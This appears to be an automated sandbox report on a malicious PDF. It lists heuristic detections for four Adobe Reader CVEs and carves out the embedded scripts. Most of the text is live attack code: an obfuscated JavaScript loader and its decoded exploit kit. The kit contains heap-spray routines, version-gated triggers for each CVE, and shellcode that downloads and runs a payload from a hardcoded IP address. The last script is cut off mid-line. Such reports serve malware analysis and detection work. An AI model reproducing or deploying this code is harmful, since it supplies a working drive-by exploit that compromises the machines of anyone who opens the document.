MALICIOUS
490
Risk Score
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 12
-
media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://66.199.229.50/w.php?f=89&e=5 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0076_000.js |
pdf-javascript-stream | PDF /JS object 76 at offset 0x369 | 11746 bytes |
SHA-256: d17f2790243cfca10ae3ae24d589a0776e0b623b49f51c5a7a07ef713ef4c3cd |
|||
Preview scriptFirst 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(44,9,55,39,55,61,67,61,73,73,14,69,20,17,50,61,37,26,28,3,51,51,37,26,9,53,39,16,37,26,28,13,9,53,37,26,2,13,39,16,37,26,39,43,3,16,37,26,3,3,13,9,37,26,51,16,53,15,37,26,16,15,28,14,37,26,28,14,3,15,37,26,15,53,16,15,37,26,2,15,28,14,37,26,13,51,67,53,37,26,2,51,28,14,37,26,3,3,15,28,37,26,51,51,71,14,37,26,13,39,28,14,37,26,15,3,3,53,37,26,3,3,2,16,37,26,28,67,65,53,37,26,67,13,39,39,37,26,9,9,67,15,37,26,14,28,9,9,37,26,16,15,28,14,37,26,53,3,3,15,37,26,3,43,16,51,37,26,2,13,15,51,37,26,28,2,9,14,37,26,65,16,3,16,37,26,39,16,28,13,37,26,13,67,2,13,37,26,39,14,39,43,37,26,13,67,16,53,37,26,28,14,13,51,37,26,3,53,2,13,37,26,2,16,28,14,37,26,2,28,3,13,37,26,9,13,15,3,37,26,28,14,13,51,37,26,65,15,2,51,37,26,9,13,15,3,37,26,53,43,3,3,37,26,16,67,16,43,37,26,62,71,9,53,37,26,53,13,15,3,37,26,71,14,3,3,37,26,14,39,15,9,37,26,3,28,67,15,37,26,2,16,9,65,37,26,53,67,15,28,37,26,15,71,53,14,37,26,71,62,15,3,37,26,39,14,16,15,37,26,3,14,9,67,37,26,2,13,67,9,37,26,13,39,39,51,37,26,13,39,28,14,37,26,15,3,65,16,37,26,51,51,71,71,37,26,15,53,28,14,37,26,28,71,16,14,37,26,39,53,16,51,37,26,13,16,9,9,37,26,15,53,65,16,37,26,71,28,28,14,37,26,71,71,15,3,37,26,15,16,28,14,37,26,15,3,28,14,37,26,62,14,53,13,37,26,13,43,13,39,37,26,39,14,53,3,37,26,62,71,13,3,37,26,51,28,28,14,37,26,28,15,65,15,37,26,15,53,2,71,37,26,2,16,3,3,37,26,43,51,15,3,37,26,9,3,39,14,37,26,51,28,28,14,37,26,28,14,15,28,37,26,51,62,9,2,37,26,13,43,15,13,37,26,43,28,39,28,37,26,9,9,9,9,37,26,39,65,9,9,37,26,39,28,9,43,37,26,15,15,15,15,37,26,15,15,15,15,37,26,13,15,13,28,37,26,16,15,51,62,37,26,9,9,51,28,37,26,15,15,15,15,37,26,13,15,15,15,37,26,53,15,28,3,37,26,13,15,67,43,37,26,28,14,13,13,37,26,28,14,39,53,37,26,67,15,13,39,37,26,53,3,28,3,37,26,9,9,15,13,37,26,51,28,39,3,37,26,51,39,51,9,37,26,15,15,15,15,37,26,2,13,51,28,37,26,51,53,2,65,37,26,13,16,51,71,37,26,67,51,9,9,37,26,53,16,28,3,37,26,28,14,15,28,37,26,39,28,39,28,37,26,9,9,51,67,37,26,9,9,9,9,37,26,15,65,39,14,37,26,2,65,39,14,37,26,39,53,28,67,37,26,15,67,15,16,37,26,15,15,15,15,37,26,13,53,28,71,37,26,15,53,65,16,37,26,15,16,53,2,37,26,2,65,65,16,37,26,51,2,51,13,37,26,53,2,2,3,37,26,65,16,16,16,37,26,2,51,15,16,37,26,3,3,2,65,37,26,53,2,3,65,37,26,65,16,16,16,37,26,65,15,15,28,37,26,2,3,65,71,37,26,13,3,65,15,37,26,9,28,51,28,37,26,15,15,15,15,37,26,9,9,15,15,37,26,15,53,13,51,37,26,39,28,28,14,37,26,53,43,3,3,37,26,53,2,13,67,37,26,67,71,16,16,37,26,2,2,15,15,37,26,51,65,2,15,37,26,53,2,2,16,37,26,67,71,16,16,37,26,65,39,15,13,37,26,51,53,51,16,37,26,53,51,51,53,37,26,67,71,16,16,37,26,15,15,15,43,37,26,28,62,13,43,37,26,15,16,53,67,37,26,28,28,3,15,37,26,67,71,16,16,37,26,16,67,15,16,37,26,51,62,13,67,37,26,51,62,15,15,37,26,13,3,15,15,37,26,51,62,13,2,37,26,9,9,15,15,37,26,67,16,13,51,37,26,53,15,28,13,37,26,67,51,2,13,37,26,15,15,51,62,37,26,9,9,13,3,37,26,15,16,13,51,37,26,15,15,51,62,37,26,39,14,28,3,37,26,13,3,15,53,37,26,13,51,9,9,37,26,28,3,15,16,37,26,15,53,53,3,37,26,15,65,39,14,37,26,67,3,39,14,37,26,28,15,16,2,37,26,15,15,3,9,37,26,9,62,2,13,37,26,28,15,16,2,37,26,15,15,3,9,37,26,53,16,2,13,37,26,15,15,51,62,37,26,9,39,51,62,37,26,13,51,9,9,37,26,39,28,15,28,37,26,9,39,43,53,37,26,9,9,9,9,37,26,16,39,28,39,37,26,39,53,15,39,37,26,9,39,43,28,37,26,15,39,28,62,37,26,51,9,28,43,37,26,14,71,15,67,37,26,53,62,3,3,37,26,13,14,28,62,37,26,53,51,67,14,37,26,2,43,16,51,37,26,67,62,3,51,37,26,2,15,65,9,37,26,2,16,51,28,37,26,2,15,2,16,37,26,65,9,3,62,37,26,3,51,65,9,37,26,65,39,3,51,37,26,3,43,3,67,37,26,65,39,3,43,37,26,3,65,3,65,37,26,65,39,3,43,37,26,3,15,3,13,37,26,2,2,65,9,37,26,2,15,65,39,37,26,2,15,51,28,37,26,51,51,3,9,37,26,3,28,3,71,37,26,65,51,3,43,37,26,3,71,51,13,37,26,15,15,3,13,37,26,15,15,15,15,61,41,9,26,24,53,52,44,38,24,1,39,23,25,40,55,40,62,5,54,68,73,64,66,46,44,30,39,55,40,62,45,30,39,24,17,52,46,56,65,18,54,68,73,64,40,62,21,50,40,62,41,72,40,62,50,40,62,45,20,26,14,20,52,40,44,24,17,55,15,5,54,68,31,65,73,41,40,39,52,26,40,24,1,40,62,41,72,1,9,26,24,53,52,44,38,24,1,14,8,55,73,64,25,62,40,1,71,74,17,50,24,39,66,1,11,40,40,62,68,55,73,41,25,62,40,1,25,66,50,15,8,15,53,15,53,15,53,15,53,41,25,62,40,1,62,71,71,40,50,15,8,16,15,15,15,15,15,41,25,62,40,1,47,62,68,30,38,62,71,50,26,24,39,20,53,62,47,39,55,14,69,20,17,73,41,25,62,40,1,20,53,19,30,39,24,50,47,62,68,30,38,62,71,45,30,39,24,17,52,46,56,65,41,25,62,40,1,54,68,50,62,71,71,40,10,55,20,53,19,30,39,24,21,15,8,3,28,73,41,25,62,40,1,68,62,40,20,47,50,26,24,39,20,53,62,47,39,55,6,37,26,43,15,43,15,37,26,43,15,43,15,6,73,41,68,62,40,20,47,50,39,23,25,40,55,68,62,40,20,47,5,54,68,73,41,25,62,40,1,53,38,26,24,52,65,50,55,25,66,10,15,8,16,15,15,15,15,15,73,31,62,71,71,40,41,9,38,40,55,25,62,40,1,53,38,26,24,52,50,15,41,53,38,26,24,52,18,53,38,26,24,52,65,41,53,38,26,24,52,21,21,73,64,71,74,17,60,53,38,26,24,52,63,50,68,62,40,20,47,21,47,62,68,30,38,62,71,41,72,1,25,62,40,1,38,25,39,40,9,30,38,66,50,26,24,39,20,53,62,47,39,55,6,37,26,15,53,15,53,37,26,15,53,15,53,6,73,41,66,46,44,30,39,55,38,25,39,40,9,30,38,66,45,30,39,24,17,52,46,18,16,16,43,13,65,73,64,38,25,39,40,9,30,38,66,21,50,38,25,39,40,9,30,38,66,41,72,1,52,46,44,20,45,53,38,30,30,62,14,42,52,38,40,39,50,7,38,30,30,62,14,45,53,38,30,30,39,53,52,75,33,62,44,30,27,24,9,38,55,64,20,26,14,69,12,6,6,5,33,20,17,12,38,25,39,40,9,30,38,66,72,73,41,72,1,9,26,24,53,52,44,38,24,1,47,40,44,24,52,9,55,73,64,24,38,47,50,26,24,39,20,53,62,47,39,55,6,37,26,15,11,15,11,37,26,15,11,15,11,37,26,15,11,15,11,37,26,15,11,15,11,6,73,41,25,62,40,1,47,62,68,30,38,62,71,50,26,24,39,20,53,62,47,39,55,14,69,20,17,73,41,46,39,62,47,14,30,38,53,74,50,24,38,47,21,47,62,68,30,38,62,71,41,14,44,17,14,30,38,53,74,50,26,24,39,20,53,62,47,39,55,6,37,26,15,11,15,11,37,26,15,11,15,11,6,73,41,46,39,62,71,39,40,20,44,23,39,50,65,15,41,20,47,40,62,68,50,46,39,62,71,39,40,20,44,23,39,21,46,39,62,47,14,30,38,53,74,45,30,39,24,17,52,46,41,66,46,44,30,39,55,14,44,17,14,30,38,53,74,45,30,39,24,17,52,46,18,20,47,40,62,68,73,64,14,44,17,14,30,38,53,74,21,50,14,44,17,14,30,38,53,74,41,72,1,9,44,30,30,14,30,38,53,74,50,14,44,17,14,30,38,53,74,45,20,26,14,20,52,40,44,24,17,55,15,5,20,47,40,62,68,73,41,14,30,38,53,74,50,14,44,17,14,30,38,53,74,45,20,26,14,20,52,40,44,24,17,55,15,5,14,44,17,14,30,38,53,74,45,30,39,24,17,52,46,10,20,47,40,62,68,73,41,66,46,44,30,39,55,14,30,38,53,74,45,30,39,24,17,52,46,21,20,47,40,62,68,18,15,8,16,15,15,15,15,73,64,14,30,38,53,74,50,14,30,38,53,74,21,14,30,38,53,74,21,9,44,30,30,14,30,38,53,74,41,72,1,33,39,33,50,24,39,66,1,11,40,40,62,68,55,73,41,9,38,40,55,44,50,15,41,44,18,67,16,15,15,41,44,21,21,73,64,33,39,33,60,44,63,50,14,30,38,53,74,21,46,39,62,47,14,30,38,53,74,41,72,1,25,62,40,1,24,26,33,50,67,65,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,41,26,52,44,30,45,47,40,44,24,52,9,55,6,37,16,13,15,15,15,9,6,5,24,26,33,73,41,72,1,9,26,24,53,52,44,38,24,1,17,39,52,44,53,38,24,55,73,64,25,62,40,1,62,40,40,68,50,24,39,66,1,11,40,40,62,68,55,73,41,44,9,55,62,47,47,45,71,38,53,45,7,38,30,30,62,14,45,17,39,52,27,53,38,24,73,64,25,62,40,1,47,62,68,30,38,62,71,50,26,24,39,20,53,62,47,39,55,14,69,20,17,73,41,25,62,40,1,46,59,54,13,15,15,7,29,50,47,62,68,30,38,62,71,45,30,39,24,17,52,46,56,65,41,25,62,40,1,54,68,50,15,8,16,15,15,15,15,15,10,55,46,59,54,13,15,15,7,29,21,15,8,3,28,73,41,25,62,40,1,68,62,40,20,47,50,26,24,39,20,53,62,47,39,55,6,37,26,43,15,43,15,37,26,43,15,43,15,6,73,41,68,62,40,20,47,50,39,23,25,40,55,68,62,40,20,47,5,54,68,73,41,25,62,40,1,47,13,11,69,58,51,13,9,50,55,15,8,15,53,15,53,15,53,15,53,10,15,8,16,15,15,15,15,15,73,31,15,8,16,15,15,15,15,15,41,9,38,40,55,25,62,40,1,25,54,53,34,0,43,51,68,50,15,41,25,54,53,34,0,43,51,68,18,47,13,11,69,58,51,13,9,41,25,54,53,34,0,43,51,68,21,21,73,64,62,40,40,68,60,25,54,53,34,0,43,51,68,63,50,68,62,40,20,47,21,47,62,68,30,38,62,71,41,72,1,25,62,40,1,52,48,32,46,29,14,4,66,50,26,24,39,20,53,62,47,39,55,6,37,15,43,6,73,41,66,46,44,30,39,55,52,48,32,46,29,14,4,66,45,30,39,24,17,52,46,18,15,8,16,15,15,15,73,64,52,48,32,46,29,14,4,66,21,50,52,48,32,46,29,14,4,66,41,72,1,52,48,32,46,29,14,4,66,50,6,29,45,6,21,52,48,32,46,29,14,4,66,41,62,47,47,45,71,38,53,45,7,38,30,30,62,14,45,17,39,52,27,53,38,24,55,52,48,32,46,29,14,4,66,73,41,72,72,1,62,36,30,26,17,44,24,20,50,62,47,47,45,47,30,26,17,27,24,20,41,25,62,40,1,20,25,50,47,62,40,20,39,27,24,52,55,62,47,47,45,25,44,39,66,39,40,57,39,40,20,44,38,24,45,52,38,42,52,40,44,24,17,55,73,45,53,46,62,40,11,52,55,15,73,73,41,9,38,40,55,25,62,40,1,44,50,15,41,44,18,62,36,30,26,17,44,24,20,45,30,39,24,17,52,46,41,44,21,21,73,64,44,9,55,62,36,30,26,17,44,24,20,60,44,63,45,24,62,33,39,50,50,61,75,42,53,40,44,47,52,61,73,64,25,62,40,1,30,25,50,62,36,30,26,17,44,24,20,60,44,63,45,25,39,40,20,44,38,24,41,72,72,1,44,9,55,55,30,25,50,50,43,73,22,22,55,55,20,25,50,50,28,73,70,70,55,30,25,18,50,28,45,67,65,73,73,73,64,17,39,52,44,53,38,24,55,73,41,72,39,30,20,39,1,44,9,55,30,25,50,50,2,45,67,73,64,47,40,44,24,52,9,55,73,41,72,39,30,20,39,1,44,9,55,55,55,20,25,50,50,51,73,22,22,55,20,25,50,50,2,73,73,70,70,55,30,25,18,2,45,67,67,73,73,64,14,8,55,73,41,72,39,30,20,39,1,44,9,55,55,30,25,49,50,43,45,67,73,22,22,55,30,25,18,50,43,45,65,73,22,22,55,30,25,49,50,28,45,67,3,73,22,22,55,30,25,18,50,28,45,67,2,73,73,64,9,26,24,53,52,44,38,24,1,62,55,73,64,26,52,44,30,45,47,40,44,24,52,71,55,61,47,35,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1,12,1,68,68,68,68,67,67,67,61,5,24,39,66,1,0,62,52,39,55,73,73,41,72,25,62,40,1,46,50,62,47,47,45,47,30,26,17,27,24,20,41,9,38,40,55,25,62,40,1,9,50,15,41,9,18,46,45,30,39,24,17,52,46,41,9,21,21,73,64,44,9,55,46,60,9,63,45,24,62,33,39,50,50,61,75,42,53,40,44,47,52,61,73,64,25,62,40,1,44,50,46,60,9,63,45,25,39,40,20,44,38,24,41,72,72,1,44,9,55,55,44,49,28,45,67,65,73,70,70,55,44,18,28,45,65,73,73,64,53,50,24,39,66,1,11,40,40,62,68,55,73,41,25,62,40,1,71,50,26,24,39,20,53,62,47,39,55,61,37,26,43,15,43,15,37,26,43,15,43,15,61,73,41,25,62,40,1,39,50,26,24,39,20,53,62,47,39,55,14,69,20,17,73,41,66,46,44,30,39,55,71,45,30,39,24,17,52,46,18,50,15,8,28,15,15,15,73,64,71,21,50,71,41,72,71,50,71,45,20,26,14,20,52,40,55,15,5,15,8,28,15,15,15,10,39,45,30,39,24,17,52,46,73,41,9,38,40,55,9,50,15,41,9,18,65,43,15,15,41,9,21,21,73,64,53,60,9,63,50,71,21,39,41,72,62,55,73,41,62,55,73,41,52,40,68,64,52,46,44,20,45,33,39,71,44,62,45,24,39,66,36,30,62,68,39,40,55,24,26,30,30,73,41,72,53,62,52,53,46,55,39,73,64,72,62,55,73,41,72,72);
a=new String("D 73G,'Cxf-A:5b04g<_s+|znvuI8Nl/MmQ@P%oer;S9i.hpU>=6tcq(*VKW['a]{2w1yj&d})kE");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}
try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 | 3858 bytes |
SHA-256: f8e7675861c2149ff60644786b98054779f5e6d5623aff4dab735aa3045d7101 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u383d%u2639%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 | 3854 bytes |
SHA-256: 0ceba9cb813fc6586778274982456bfcac35cfda475a1821f583fd4779b2aacc |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u383d%u2639%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape(' ');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var 